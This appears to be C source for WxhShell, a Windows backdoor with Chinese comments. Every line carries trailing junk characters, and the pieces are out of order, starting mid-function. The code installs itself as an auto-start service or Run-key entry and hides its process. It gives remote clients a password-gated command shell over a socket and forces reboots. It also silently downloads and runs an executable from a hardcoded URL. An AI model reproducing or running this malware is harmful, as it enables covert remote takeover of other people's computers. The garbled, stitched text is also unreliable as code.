    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !>);}J!e]  
    if(Boot(SHUTDOWN)) 5K-)X9z?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) CTM  
    else { ]<?)(xz  
    closesocket(wsh); 1KR|i"  
    ExitThread(0); &>b1ES.>  
    } ;l4 \^E1  
    break; 9{#|sABGD  
    } 32FGDM  
  // 获取shell T@WMT,J6j  
  case 's': { D}U<7=\3H  
    CmdShell(wsh); YGmdiY:;1  
    closesocket(wsh); Qg.:w  
    ExitThread(0); +B|X k[  
    break; beR)8sC3q  
  } =8 D4:Ds  
  // 退出 YfU#kvE'  
  case 'x': { k0uwG'(z9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oKJ7i,xT  
    CloseIt(wsh); <|G~S<y}  
    break; J0! E@   
    } 6EWB3.x19  
  // 离开 ! HC<aWb  
  case 'q': { BT#g?=n#`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }f'1x%RS^  
    closesocket(wsh); j}*+-.YF  
    WSACleanup(); JB_`lefW,'  
    exit(1); @h,$&=HY  
    break; ~8{3Fc0  
        } sYI':UQe  
  } 'vIkA=  
  } [ LDzR7vnf  
-ix1<e  
  // 提示信息 itgO#(g$Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sZDJ+  
} j'x{j %U  
  } >7q,[:(gs  
1 *CWHs  
  return;  nGd  
} I@M^Wu]wW  
dw!Eao47  
// shell模块句柄 lhj2u]yU0S  
int CmdShell(SOCKET sock) % "^XxVJ*  
{ e.^9&Fk"N  
STARTUPINFO si; 6|Q'\  
ZeroMemory(&si,sizeof(si)); ]<LU NxBR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9D w&b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iCKwd9?)  
PROCESS_INFORMATION ProcessInfo; >MrU^t  
char cmdline[]="cmd"; v |2j~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;qK6."b`;  
  return 0; Lc?O K"[m  
} !17Z\Ltqyj  
ybO,~TQ  
// 自身启动模式 O3Mv"Py%  
int StartFromService(void) wCmv/m  
{ jtY~- @*  
typedef struct VAt9JE;#  
{ H12@12v  
  DWORD ExitStatus; 8E[`H  
  DWORD PebBaseAddress; 1z:N$O _v  
  DWORD AffinityMask; LL [>Uu?Y  
  DWORD BasePriority; .&xNJdsY  
  ULONG UniqueProcessId;  e5]AB  
  ULONG InheritedFromUniqueProcessId; LS;anNk@.}  
}   PROCESS_BASIC_INFORMATION; sdD[`#  
= h( n+y<  
PROCNTQSIP NtQueryInformationProcess; Ti'kn{ Zv  
Y sV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D.`\ ^a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <DS6-y  
N2e<Y_T  
  HANDLE             hProcess; ]SgeZ07  
  PROCESS_BASIC_INFORMATION pbi; >6+K"J-@  
8l0 (6x$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "M &4c:cz  
  if(NULL == hInst ) return 0; o hlVc%a  
I|z#Aoc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  0 XzO`*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -~f.>@Wb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y cpO;md  
7bS[\5  
  if (!NtQueryInformationProcess) return 0; %m3efaC  
p> S/6 [X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "|SE#k  
  if(!hProcess) return 0; +r_[Tj|Er  
xltu g##  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FG:BRS<m~  
ppKCY4  
  CloseHandle(hProcess); 1+($"$ZC&B  
Beg5[4@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *rT(dp!Y  
if(hProcess==NULL) return 0; gw T,D.'Ut  
V0i$"|F+ E  
HMODULE hMod; wP"|$HN  
char procName[255]; [CX?Tt  
unsigned long cbNeeded; GGtrH~zx  
'bPo 5V|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RC%r7K f  
=)8fE*[s   
  CloseHandle(hProcess); l.l~K%P'h  
KW^aARJ)  
if(strstr(procName,"services")) return 1; // 以服务启动 a0\UL"z#+  
!yrHVc  
  return 0; // 注册表启动 926oM77  
} "@$STptkc  
?UDO%`X  
// 主模块 ku8c)  
int StartWxhshell(LPSTR lpCmdLine) ':4pH#E  
{ ypo=y/!  
  SOCKET wsl; U{(07GNm#  
BOOL val=TRUE; G[j79o  
  int port=0; ]M;! ])b$  
  struct sockaddr_in door; 7:'>~>'  
c F]3gM  
  if(wscfg.ws_autoins) Install(); =lQ[%&  
H%aLkV!J  
port=atoi(lpCmdLine); ;(6lN<i U  
|3ETF|)?  
if(port<=0) port=wscfg.ws_port; $t'I*k^N  
|Eu~= J7@  
  WSADATA data; vI}S6-"<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k]pD3.QJ  
;jI"|v{vnS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "\?G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y:[]+  
  door.sin_family = AF_INET; z-gG(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZNeqsN{  
  door.sin_port = htons(port); \;gt&*$-  
pUGfm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P@`"MNS  
closesocket(wsl); *?Ef}:]  
return 1; N)WG~=Gi  
} X(28 xbd|  
REBDr;tv  
  if(listen(wsl,2) == INVALID_SOCKET) { 1G.gPx[  
closesocket(wsl); ?ovGYzUZ  
return 1; 1:UC\WW  
} ZY$@_DOB}  
  Wxhshell(wsl); *Bsmn!_cB{  
  WSACleanup(); F*:NKT d  
I.1l  
return 0; ^VPl>jTg  
)m;qv'=!  
} ABmDSV5i  
?<^AXLiKV  
// 以NT服务方式启动 ?I#hrv@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UyKG$6F?3  
{ IkNt! 2s_  
DWORD   status = 0; AiHf?"EVT  
  DWORD   specificError = 0xfffffff; T<k1?h^7  
^oO5t-9<!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^ZWFj?`\UV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V_622~Tc/[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dU3 >h[q  
  serviceStatus.dwWin32ExitCode     = 0; &novkkqY  
  serviceStatus.dwServiceSpecificExitCode = 0; {bqKb=nyZ  
  serviceStatus.dwCheckPoint       = 0; x]cZm^  
  serviceStatus.dwWaitHint       = 0; fO!O" D5  
UC/2&7 ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v1g5(  
  if (hServiceStatusHandle==0) return; UDtbfc7bk  
4,ynt&  
status = GetLastError(); Ltd?#HP  
  if (status!=NO_ERROR) F>(#Af9  
{ BG0M j2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v/.h%6n?  
    serviceStatus.dwCheckPoint       = 0; u;qMo`-  
    serviceStatus.dwWaitHint       = 0; U*"cf>dB(  
    serviceStatus.dwWin32ExitCode     = status; vD9D:vK  
    serviceStatus.dwServiceSpecificExitCode = specificError; 05I39/T%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A=]F_  
    return; 810<1NP  
  } 4@iJ|l  
kS#DKo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q)xl$*g  
  serviceStatus.dwCheckPoint       = 0; v |2q2bz  
  serviceStatus.dwWaitHint       = 0; T&"dBoUq>G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `G0rF\[  
} @"Fp;Je\bN  
 I4f  
// 处理NT服务事件,比如:启动、停止 Mq lo:7 ^F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @EOR] ^?!]  
{ M2P@ &  
switch(fdwControl) 33*d/%N9  
{ aX'g9E  
case SERVICE_CONTROL_STOP: ww t()  
  serviceStatus.dwWin32ExitCode = 0; jNG?2/P6&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1(7.V-(G  
  serviceStatus.dwCheckPoint   = 0; 'qF3,Rw  
  serviceStatus.dwWaitHint     = 0; TKu68/\)  
  { BRXb<M^;_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KSB_%OI1  
  } }>X\"  
  return; Q>a7Ps@~  
case SERVICE_CONTROL_PAUSE: /,N!g_"Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >dvWa-rNUT  
  break; s?x>Yl %  
case SERVICE_CONTROL_CONTINUE: 'BdmFKy1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eGe[sv"k  
  break; 6 #x)W  
case SERVICE_CONTROL_INTERROGATE: ~73i^3yf  
  break; <kXV1@>  
}; &Pg-|Ql  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K&IrTA j}  
} Q}?N4kg  
Xm=^\K3  
// 标准应用程序主函数 ngY+Ym  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) io r [v  
{ ?}3PJVy?  
m{$tO;c/Q  
// 获取操作系统版本 @f5@0A\0  
OsIsNt=GetOsVer(); :&0yf;>v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :{i$2\DH6  
bqQO E4;  
  // 从命令行安装 ^c0$pqZ}r  
  if(strpbrk(lpCmdLine,"iI")) Install(); y.*=Ww+  
kuj1 2  
  // 下载执行文件 KjwY'aYwr:  
if(wscfg.ws_downexe) { '0_j{ig  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -Mi}yi  
  WinExec(wscfg.ws_filenam,SW_HIDE); Op/79 ]$  
} j #I:6yA3  
<A -(&+  
if(!OsIsNt) { ;?L!1wklA  
// 如果时win9x,隐藏进程并且设置为注册表启动 M o"JV  
HideProc(); $]H=  
StartWxhshell(lpCmdLine); hLytKPgt  
} :ONuWNY N  
else lO2T/1iMTW  
  if(StartFromService()) [71#@^ye  
  // 以服务方式启动 <{NYD .  
  StartServiceCtrlDispatcher(DispatchTable); h-b5   
else h/ X5w4  
  // 普通方式启动 1ntkM?  
  StartWxhshell(lpCmdLine); !V]MLA`  
L;--d`[  
return 0; /y9J)lx  
} ^?s~Fk_V  
^#BGA|j  
% L >#  
"0'*q<8  
=========================================== x>^3]m  
&vFqe,Z  
,u&tB|,W,  
ia^%Wg7  
W%>i$:Qq  
,5\2C{  
" eg2U+g4  
+=6RmId+X  
#include <stdio.h> {C/L5cZ]J  
#include <string.h> wTlK4R#  
#include <windows.h> z;y^t4 ^9  
#include <winsock2.h> YXX36  
#include <winsvc.h> J+71FP`ZH  
#include <urlmon.h> &SjHrOG?  
97(Xu=tX  
#pragma comment (lib, "Ws2_32.lib") S$jV|xK B  
#pragma comment (lib, "urlmon.lib") <}EV*`w4  
B?;' lDz*  
#define MAX_USER   100 // 最大客户端连接数 *gd?>P7\0  
#define BUF_SOCK   200 // sock buffer <Qcex3  
#define KEY_BUFF   255 // 输入 buffer )+n,5W  
JQ"`9RNb  
#define REBOOT     0   // 重启 U/X|i /  
#define SHUTDOWN   1   // 关机 ePq13!FC/  
ceb s.sF:  
#define DEF_PORT   5000 // 监听端口 MegE--h  
=f4[=C$&`  
#define REG_LEN     16   // 注册表键长度 <G~} N  
#define SVC_LEN     80   // NT服务名长度 &2io^A P  
'?"t<$b  
// 从dll定义API ceFsGdS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (odR'#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r zMFof  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ew %{ i(d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~!]&>n;=G  
Ml8 YyF/~  
// wxhshell配置信息 GJ1;\:cQq  
struct WSCFG { 9;0V  /y  
  int ws_port;         // 监听端口 KE/-VjZu  
  char ws_passstr[REG_LEN]; // 口令 ?$|uT  
  int ws_autoins;       // 安装标记, 1=yes 0=no <%d51~@={I  
  char ws_regname[REG_LEN]; // 注册表键名 gDQkn {T.%  
  char ws_svcname[REG_LEN]; // 服务名 .D8~)ZWN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eg"=H50  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aho'|%y)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bA@ /B'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H96BqNoO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V~(EVF{h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CM%|pB/z  
NP K#].F  
}; V_&GYXx(J  
2;r]gT~  
// default Wxhshell configuration [3O^0-:6E  
struct WSCFG wscfg={DEF_PORT, $ Wit17j  
    "xuhuanlingzhe", r]A" Og_U  
    1, }P<Qz^sr_  
    "Wxhshell", :/C ?FHs9  
    "Wxhshell", ;^R A!Nj  
            "WxhShell Service", .:}.b"%m  
    "Wrsky Windows CmdShell Service", l GdM80f  
    "Please Input Your Password: ", ]\ CU9J|H8  
  1, KX?o nsZ  
  "http://www.wrsky.com/wxhshell.exe", T-4/d5D[  
  "Wxhshell.exe" xGYSi5}z  
    }; EY+/.=$x  
XR*Q|4  
// 消息定义模块 QS3U)ZO$@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]43alf F#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uYFMv=>j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eeuZUf+~]  
char *msg_ws_ext="\n\rExit."; :GU,EDps  
char *msg_ws_end="\n\rQuit."; _& 8O~8tW  
char *msg_ws_boot="\n\rReboot..."; &qJPwO  
char *msg_ws_poff="\n\rShutdown..."; ;~ W8v.EW  
char *msg_ws_down="\n\rSave to "; Zimh _  
SArfczoB  
char *msg_ws_err="\n\rErr!"; G 1]"s@8(  
char *msg_ws_ok="\n\rOK!"; 8YNu<   
TT'Ofvdc  
char ExeFile[MAX_PATH]; kf<c, 3A  
int nUser = 0; CY34X2F  
HANDLE handles[MAX_USER]; ^vJ"-{  
int OsIsNt; 7OB%A&  
v`y6y8:>  
SERVICE_STATUS       serviceStatus; _p\629`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L2KG0i`+  
i.3cj1  
// 函数声明 k@#5$Ejc2  
int Install(void); 9]"S:{KSCn  
int Uninstall(void); k!5m@'f  
int DownloadFile(char *sURL, SOCKET wsh); z"tjDP  
int Boot(int flag); =WC-Sj{I  
void HideProc(void); >DHp*$y  
int GetOsVer(void); puOC60zI  
int Wxhshell(SOCKET wsl); #Mh{<gk%ax  
void TalkWithClient(void *cs); n5|l|#c$N  
int CmdShell(SOCKET sock); dd]?9  
int StartFromService(void); mw_ E&v  
int StartWxhshell(LPSTR lpCmdLine); j`O7=-  
P` #QGZ>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [r(Qs|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;x-(kIiE  
#?dUv#  
// 数据结构和表定义 z"lqrSJ:  
SERVICE_TABLE_ENTRY DispatchTable[] = /RGNAHtIi  
{ @}WNKS&m  
{wscfg.ws_svcname, NTServiceMain}, blGf!4H  
{NULL, NULL} 3{KR {B#L  
}; ] /+D^6  
%?bcT[|3  
// 自我安装  ?>af'o:  
int Install(void) &-M]xo ^  
{ f|U0s  
  char svExeFile[MAX_PATH]; =VNSi K>F  
  HKEY key; Y2C9(Zk U  
  strcpy(svExeFile,ExeFile); b.s9p7:J  
3t)v %S|k  
// 如果是win9x系统,修改注册表设为自启动 VU|;:  
if(!OsIsNt) { 9}5K6aQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [*)Z!)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .-0%6] cFD  
  RegCloseKey(key); *5e+@rD`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RsW9:*R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -?<4Og[^  
  RegCloseKey(key); 9GgA6#  
  return 0; q_ %cbAcD  
    } $+cAg >  
  } lv]quloT  
} f6!D L<  
else { 6 {}JbRNf  
MxOD8TDF4  
// 如果是NT以上系统,安装为系统服务 2| B[tt1Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >E:<E'L  
if (schSCManager!=0) ,Ol (piR  
{ \hlR]m!C  
  SC_HANDLE schService = CreateService /- 4$7qd  
  ( oE?QnH3R  
  schSCManager, 3xNMPm  
  wscfg.ws_svcname, Q$ri=uB;+  
  wscfg.ws_svcdisp, >`'O7.R  
  SERVICE_ALL_ACCESS, :m'+tGs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #`;/KNp 9  
  SERVICE_AUTO_START, WZZ4]cC  
  SERVICE_ERROR_NORMAL, MgJ36zM  
  svExeFile, K=?VDN  
  NULL, RKZ6}q1n  
  NULL, `TtXZ[gP}  
  NULL, mM/i^zT  
  NULL, |.P/:e9  
  NULL [u M-0t  
  ); }CDk9Xk  
  if (schService!=0) W0XF~  
  { Xf d*D  
  CloseServiceHandle(schService); 9!U@"~yB  
  CloseServiceHandle(schSCManager); -?6MU~"GK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  U47}QDh  
  strcat(svExeFile,wscfg.ws_svcname); M2@b1;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M+`H g_#Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y[Ltrk{  
  RegCloseKey(key); 9}29&O  
  return 0; BVw Wj-,  
    } (k`{*!:1a  
  } &|Pu-A"5~  
  CloseServiceHandle(schSCManager); Xm1[V&  
} cK`"lxO  
} >TjJA #  
HKO739&n}  
return 1; !@A#=(4R4  
} fP HLXg5s  
7=XL!:P  
// 自我卸载 %7hB&[ 5  
int Uninstall(void) J*fBZ.NO  
{ ILwn&[A0  
  HKEY key; &<pKx!  
aj\nrD1  
if(!OsIsNt) { =~KsS }`1,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !yOeW0/2[  
  RegDeleteValue(key,wscfg.ws_regname); SC &~s$P;  
  RegCloseKey(key); C\ZkGX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !? 5U|  
  RegDeleteValue(key,wscfg.ws_regname); sZ&G%o  
  RegCloseKey(key); %\$;(#h  
  return 0; oslJC$cy'  
  } a`(a)9i  
} =PHIpFIuk  
} 7piuLq+  
else { m~hoE8C$  
s;flzp8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6\jf|:h  
if (schSCManager!=0) sj?3M@l95W  
{ Q,h7Sk*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C1EtoOv K  
  if (schService!=0) 76cG90!Z  
  { k0-G$|QgIp  
  if(DeleteService(schService)!=0) { cLY c6  
  CloseServiceHandle(schService); qU6nJi+-I  
  CloseServiceHandle(schSCManager); 1xE]6he4{T  
  return 0; Mg,:UC:  
  } +;}#B~:  
  CloseServiceHandle(schService); #-% A[7Cdp  
  } JPn$FQD  
  CloseServiceHandle(schSCManager); k>jbcSY(z<  
} _ee dBpV  
} $_H`   
4 1a. #o  
return 1; CSPKP#,B0[  
} `#-P[q<v-  
sbj(|1,ac  
// 从指定url下载文件 2F#q I1  
int DownloadFile(char *sURL, SOCKET wsh) bI.t <;  
{ ^D`v3d  
  HRESULT hr; Mb1t:Xf^g  
char seps[]= "/"; KOz(TZ?u  
char *token; [+m?G4[  
char *file; l7{oi!   
char myURL[MAX_PATH]; ^ci3F<?Q=  
char myFILE[MAX_PATH]; 1?*  
5}$b0<em~  
strcpy(myURL,sURL); ;Vik5)D2D  
  token=strtok(myURL,seps); *=V7@o  
  while(token!=NULL) *'Y@3vKE  
  { |t iUej  
    file=token; &N~ZI*^  
  token=strtok(NULL,seps); UO*Ymj 1  
  } [%Bf< J<  
bwM@/g%DL  
GetCurrentDirectory(MAX_PATH,myFILE); BBG3OAyg_  
strcat(myFILE, "\\"); Io4(f  
strcat(myFILE, file); @yXfBML?]  
  send(wsh,myFILE,strlen(myFILE),0); ~=<}\a~  
send(wsh,"...",3,0); rNjn~c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZQ^r`W9_ +  
  if(hr==S_OK) ^EG\iO2X  
return 0; 7@lS.w\#-  
else 3kcTE&1^  
return 1; :c9U>1`g&  
'0y9MXRT  
} "<_0A f]  
\)K^=jM  
// 系统电源模块 I):!`R.,  
int Boot(int flag) DypFl M*  
{ %>-@K|:gS  
  HANDLE hToken; U j+j}C  
  TOKEN_PRIVILEGES tkp; 8t@p @Td|  
X|0R= n]  
  if(OsIsNt) { kg@>;(V&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pj4!:{.;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9% l%  
    tkp.PrivilegeCount = 1; Yt|6 X:l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YEkh3FrbwH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .<tquswg  
if(flag==REBOOT) { {-|{xBd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )X9W y!w0  
  return 0; F:y[@Yn  
} F":r4`5D"K  
else { U9D!GKVp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? (*t@ {k  
  return 0; E*L iM5+I  
} "&+"@ <  
  } 5JEbe   
  else { DvvT?K  
if(flag==REBOOT) { `n$5+a+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lWBb4 !l  
  return 0; '47P|t  
} 2I*;A5$N1  
else { fDG0BNLY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |6=p{ y  
  return 0; xI>A6  
} &Tl 0Pf  
} l;y7]DO  
>.dWjb6t  
return 1; vSi_t K4  
} '* \|; l#1  
zC _<(4$-"  
// win9x进程隐藏模块 TuW%zF/  
void HideProc(void) >``MR%E:<  
{ ~QvqG{bFB  
"\0v,!@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p-1 3H0Kt  
  if ( hKernel != NULL ) /mp*>sNr6  
  { 8,0YD#x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oB74y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DjSbyXvrg  
    FreeLibrary(hKernel); 'v]u#/7a  
  } [<'-yQ{l\  
Us+pc^A  
return; J'N!Omz  
} `--TP  
A^q[N  
// 获取操作系统版本 j"AU z)x  
int GetOsVer(void) @6l%,N<fou  
{ D#&q&6P{  
  OSVERSIONINFO winfo; nLV9<M Zm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gJ2>(k03y  
  GetVersionEx(&winfo); l NQcYv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l}$ U])an#  
  return 1; R(n^)^?  
  else E ;<l(.Ar  
  return 0;  o x+ 3U  
} <7-J0btV  
gi 0W;q  
// 客户端句柄模块 )T;?^kho  
int Wxhshell(SOCKET wsl) Z*-g[8FO  
{ S[7WW$lF  
  SOCKET wsh; =XXZ?P  
  struct sockaddr_in client; sZW^ !z  
  DWORD myID; hE h}PX:  
w`q%#q Rk  
  while(nUser<MAX_USER) ew"v{=X  
{ =0;^(/1Mc  
  int nSize=sizeof(client); F<!)4>2@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /4xki_}  
  if(wsh==INVALID_SOCKET) return 1; 'uq#ai[5I  
4.IU!.Uo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bdj%hyW  
if(handles[nUser]==0) 5Hcf;P7   
  closesocket(wsh); #!)n {h+  
else MNSbtT*^  
  nUser++; |=&cQRY!p  
  } %;.;>Y(-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cI=(\pC  
bf9a 1<\  
  return 0; r2k2%nI-J  
} UKM2AZ0lb  
A45A:hqs  
// 关闭 socket PssMTEf  
void CloseIt(SOCKET wsh) 7EXI6jGJ|  
{ )c8j}  
closesocket(wsh); otk}y8  
nUser--; U#3J0+!  
ExitThread(0); sP ls zC[  
} +|tC'gCnV  
N5 $c]E  
// 客户端请求句柄 }[M`uZ  
void TalkWithClient(void *cs) :UQTEdc{  
{ RIIitgV_  
\?jeWyo  
  SOCKET wsh=(SOCKET)cs; +wkjS r`e  
  char pwd[SVC_LEN]; +zy=50,   
  char cmd[KEY_BUFF]; D}v mwg@3  
char chr[1]; gB<3-J1R  
int i,j; +"1NC\<*  
{l |E:>Q2  
  while (nUser < MAX_USER) { T8^5=/  
< P`u}  
if(wscfg.ws_passstr) { 4Z/f@ZD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YX` 7Hm,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P{u0ftyX}  
  //ZeroMemory(pwd,KEY_BUFF); '3?\K3S4i  
      i=0; 6H'HxB4  
  while(i<SVC_LEN) { / z}~zO  
Q:5KZm[[  
  // 设置超时 VO"("7L  
  fd_set FdRead; Ntbg`LGf'!  
  struct timeval TimeOut; -=(!g&0  
  FD_ZERO(&FdRead); Dq)j:f#QM  
  FD_SET(wsh,&FdRead); z`\F@pX%wC  
  TimeOut.tv_sec=8; |m2X+s9  
  TimeOut.tv_usec=0; DG?"5:Zd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ps 8%J;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A,`8#-AX  
VqS#waNrx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kcQ'$<Mz<  
  pwd=chr[0]; FXs*vg`  
  if(chr[0]==0xd || chr[0]==0xa) { 4n4?4BEn  
  pwd=0; hiUD]5Kp  
  break; 0@EwM  
  } qM.bF&&Go  
  i++; %DdJ ^qHI  
    } v{A KEX*  
eGX %KT"O  
  // 如果是非法用户,关闭 socket .j-IX1Sa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {6}eN|4~#  
} ?]x|Zy  
k2AJXw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L =8rH5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g>J<%z, }2  
0lv %`,  
while(1) { AGbhJ=tB  
>$ e9igwe  
  ZeroMemory(cmd,KEY_BUFF); C?2' +K  
$_x^lr  
      // 自动支持客户端 telnet标准   mVR P~:+  
  j=0; *guoWPA|Ij  
  while(j<KEY_BUFF) { d20gf:@BM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k70|'*Kh  
  cmd[j]=chr[0]; B` k\EL'  
  if(chr[0]==0xa || chr[0]==0xd) { HB7;0yt`:  
  cmd[j]=0; 1n@8Kv  
  break; PnoPb k[<  
  } Yc'kvj)_M  
  j++; DS'n  
    } ~t~-A,1  
qv@$ZLR  
  // 下载文件 %%4t~XC#  
  if(strstr(cmd,"http://")) { %wSj%>&-R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cra+T+|>Kc  
  if(DownloadFile(cmd,wsh)) U\R}`l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kP?KXT3y  
  else et }T %~T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D)d~3`=#  
  } -k"^o!p  
  else { }|XtypbL  
